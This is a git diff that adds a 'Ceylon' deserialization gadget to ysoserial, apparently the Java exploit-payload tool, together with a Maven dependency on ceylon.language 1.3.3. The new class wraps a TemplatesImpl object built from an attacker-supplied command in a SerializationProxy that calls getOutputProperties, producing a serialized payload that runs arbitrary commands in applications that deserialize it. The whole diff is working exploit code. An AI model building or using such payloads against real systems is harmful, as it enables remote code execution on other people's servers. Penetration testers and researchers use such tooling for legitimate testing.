diff --git a/pom.xml b/pom.xml index 97a10db9..861d78b1 100644 --- a/pom.xml +++ b/pom.xml @@ -336,6 +336,11 @@ click-nodeps 2.3.0 + + org.ceylon-lang + ceylon.language + 1.3.3 + diff --git a/src/main/java/ysoserial/payloads/Ceylon.java b/src/main/java/ysoserial/payloads/Ceylon.java new file mode 100644 index 00000000..f4edfdec --- /dev/null +++ b/src/main/java/ysoserial/payloads/Ceylon.java @@ -0,0 +1,23 @@ +package ysoserial.payloads; + +import com.redhat.ceylon.compiler.java.language.SerializationProxy; + +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; + +@Authors({ Authors.KULLRICH }) +@Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" }) +public class Ceylon implements ObjectPayload +{ + + // + // Probably the simplest deser gadget ever ;-) + // + @Override + public Object getObject(String command) throws Exception { + final Object templates = Gadgets.createTemplatesImpl(command); + + return new SerializationProxy (templates, templates.getClass(), "getOutputProperties"); + } +}